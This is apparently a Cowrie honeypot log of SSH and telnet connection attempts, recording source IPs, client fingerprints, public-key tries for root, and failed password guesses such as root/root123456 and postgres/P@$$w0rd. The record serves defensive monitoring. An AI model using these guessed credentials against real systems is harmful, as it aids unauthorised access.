{"eventid":"cowrie.session.closed","duration":60.289793968200684,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:27:54.191476Z","src_ip":"212.55.149.117","session":"0ef643b4dc69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.189.40","src_port":29055,"dst_ip":"10.17.0.5","dst_port":23,"session":"49af003416cd","protocol":"telnet","message":"New connection: 45.162.189.40:29055 (10.17.0.5:23) [session: 49af003416cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:28:06.603104Z"}
{"eventid":"cowrie.session.closed","duration":12.901615619659424,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:28:19.504615Z","src_ip":"45.162.189.40","session":"49af003416cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.90575623512268,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:28:21.911003Z","src_ip":"129.232.238.42","session":"23432c50ea2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":46812,"dst_ip":"10.17.0.5","dst_port":22,"session":"0afffc5939f0","protocol":"ssh","message":"New connection: 138.124.158.150:46812 (10.17.0.5:22) [session: 0afffc5939f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:28:38.344865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:28:38.350131Z","src_ip":"138.124.158.150","session":"0afffc5939f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:28:38.538628Z","src_ip":"138.124.158.150","session":"0afffc5939f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@$$w0rd","message":"login attempt [postgres/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:28:39.289463Z","src_ip":"138.124.158.150","session":"0afffc5939f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:28:40.472828Z","src_ip":"138.124.158.150","session":"0afffc5939f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53714,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf8ff44c94e1","protocol":"ssh","message":"New connection: 103.15.226.202:53714 (10.17.0.5:22) [session: bf8ff44c94e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:29:32.245359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:29:32.249716Z","src_ip":"103.15.226.202","session":"bf8ff44c94e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:29:32.490295Z","src_ip":"103.15.226.202","session":"bf8ff44c94e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plxx@#13915417585","message":"login attempt [root/plxx@#13915417585] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:29:33.217632Z","src_ip":"103.15.226.202","session":"bf8ff44c94e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:29:34.461828Z","src_ip":"103.15.226.202","session":"bf8ff44c94e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59540,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9d845a33166","protocol":"ssh","message":"New connection: 2.57.122.208:59540 (159.203.135.109:22) [session: d9d845a33166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:29:46.888702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:29:47.035288Z","src_ip":"2.57.122.208","session":"d9d845a33166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:29:47.039072Z","src_ip":"2.57.122.208","session":"d9d845a33166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:29:47.943616Z","src_ip":"2.57.122.208","session":"d9d845a33166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:29:49.372014Z","src_ip":"2.57.122.208","session":"d9d845a33166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.0.63.61","src_port":19441,"dst_ip":"10.17.0.5","dst_port":23,"session":"808235f78d92","protocol":"telnet","message":"New connection: 101.0.63.61:19441 (10.17.0.5:23) [session: 808235f78d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:32:42.484901Z"}
{"eventid":"cowrie.session.closed","duration":12.927879810333252,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:32:55.412659Z","src_ip":"101.0.63.61","session":"808235f78d92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33344,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c5329df2355","protocol":"ssh","message":"New connection: 103.15.226.202:33344 (10.17.0.5:22) [session: 7c5329df2355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:07.922803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:07.927501Z","src_ip":"103.15.226.202","session":"7c5329df2355","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:08.172253Z","src_ip":"103.15.226.202","session":"7c5329df2355","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:08.888211Z","src_ip":"103.15.226.202","session":"7c5329df2355","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:10.131924Z","src_ip":"103.15.226.202","session":"7c5329df2355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.219","src_port":42316,"dst_ip":"10.17.0.5","dst_port":22,"session":"2af687a3b246","protocol":"ssh","message":"New connection: 51.159.104.219:42316 (10.17.0.5:22) [session: 2af687a3b246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.246120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.250795Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.341377Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39154,"dst_ip":"159.203.135.109","dst_port":22,"session":"3db05827929c","protocol":"ssh","message":"New connection: 2.57.122.208:39154 (159.203.135.109:22) [session: 3db05827929c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.639091Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:54:28:c9:b1:bc:31:44:45:de:b4:a0:e8:78:5f:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOBbOFwZI8uKReUbo5nOE3QehsfgZiUnpolfmUoAAdwE62Bmau8GVWFwI3hhXmyp3n99yHhkX0S/PhGSbkXoMXZX4APRrNSPo/BzytuFNiJblvDyila7EnGv5lYVsHXvBao6/DUkNfdpQcwvB9bc/EKlxyNUei+HeByh2lfshe8q7Aam8R8TgL5Pu2GkSBtckLk9et4oei2KR/HBKk/4PwbfLI8uw3hJDVTSqq4NXLMaqzq0kWnytCz1vSjUrFUQCgSLYq3hfepKb1gj1Hk+M3UBNKDWC6qlfb5tNRPeLcBFM759x8TVhEvaucOJMW4M/eQdjR9H7yoOPQJesJc727","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:54:28:c9:b1:bc:31:44:45:de:b4:a0:e8:78:5f:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.759573Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:54:28:c9:b1:bc:31:44:45:de:b4:a0:e8:78:5f:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOBbOFwZI8uKReUbo5nOE3QehsfgZiUnpolfmUoAAdwE62Bmau8GVWFwI3hhXmyp3n99yHhkX0S/PhGSbkXoMXZX4APRrNSPo/BzytuFNiJblvDyila7EnGv5lYVsHXvBao6/DUkNfdpQcwvB9bc/EKlxyNUei+HeByh2lfshe8q7Aam8R8TgL5Pu2GkSBtckLk9et4oei2KR/HBKk/4PwbfLI8uw3hJDVTSqq4NXLMaqzq0kWnytCz1vSjUrFUQCgSLYq3hfepKb1gj1Hk+M3UBNKDWC6qlfb5tNRPeLcBFM759x8TVhEvaucOJMW4M/eQdjR9H7yoOPQJesJc727","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.762928Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:9d:fe:d7:db:dd:d1:10:b4:9a:c5:37:cd:43:08:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3tKTxR1CmyzxsD1eu8Vd0DdJYIepFn7bzIqnAinAB2wBNr0XU80vozaTvi2+VyM0aDSENJuuZmq3m7pfuwK9LK0acoJ+nt5Tuf9lrze16wfLP1wAF1/Xzlx6vEVjtHDynTKgX78DqDstu/jH7z6AHGH9DsSpRHQve/XQHKMBduLwIo29XpEjzeksHFPep86aY6MQ2mRNuDvPUZC3BfyAknHxhfkaXptqLgOREY32MXsgPzPNOrmmS5AkxE/U0CBmdB7JwJbMmk0Jz2O/2WmXaaXjUKWLgpd9M9Gz4Qe8spMrjquIAFYlbF+qNU5THB+/SjwYv+A2fDF2FofnNAY71","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:9d:fe:d7:db:dd:d1:10:b4:9a:c5:37:cd:43:08:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.849750Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:9d:fe:d7:db:dd:d1:10:b4:9a:c5:37:cd:43:08:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3tKTxR1CmyzxsD1eu8Vd0DdJYIepFn7bzIqnAinAB2wBNr0XU80vozaTvi2+VyM0aDSENJuuZmq3m7pfuwK9LK0acoJ+nt5Tuf9lrze16wfLP1wAF1/Xzlx6vEVjtHDynTKgX78DqDstu/jH7z6AHGH9DsSpRHQve/XQHKMBduLwIo29XpEjzeksHFPep86aY6MQ2mRNuDvPUZC3BfyAknHxhfkaXptqLgOREY32MXsgPzPNOrmmS5AkxE/U0CBmdB7JwJbMmk0Jz2O/2WmXaaXjUKWLgpd9M9Gz4Qe8spMrjquIAFYlbF+qNU5THB+/SjwYv+A2fDF2FofnNAY71","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.853903Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.860247Z","src_ip":"2.57.122.208","session":"3db05827929c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.863818Z","src_ip":"2.57.122.208","session":"3db05827929c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:35:97:59:f8:07:0f:be:3b:ca:58:09:40:ae:cf:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFkaLME4bhq2YJHZyUG19FnctafKy8UGsR2k5XA5ktGmcaMe9DpeDkunL35lgmXZ6IQffvpgT2IE6GQxw2AN4rwBakGi4JKt6+T/7iODg5Ei9uAxVtODPTYd8JLW/eAMzhb3a5y+UL3S2rkPwUzl+2V3R13K6v0ifYkRonTAdZdRfb0OrGlOuNpt5MPTqum1rOU2EgKSa3MxKr+ecsHaWrRlMJ8zGDql+IfU9nj8XYGkJ6B4PG8a8mIPdw3NZosu5gcfdJy2NZck0XTUORu1xoa9CUKcfX+722XGTEgaMapa+8gF6DR96CgzuArQjsLiF6LtBY75OSSPEu6Tcu90lCTNAEugRBixJAMV50fBGGBZpA1uno4qYpSRoecgdg5QHp39I14NiBJLfm78ukf/1aL/I/mXn/btTJVZUyhCEROLrj1by1S1kKqLKJw8PWWX3pG2khC2bMPGhcEYPZ3XYVpDLOV44sUSaVTn/cbzuerergDQbpafxEtDFgtkONKnE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:35:97:59:f8:07:0f:be:3b:ca:58:09:40:ae:cf:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:14.942001Z","src_ip":"51.159.104.219","session":"2af687a3b246","protocol":"ssh"}
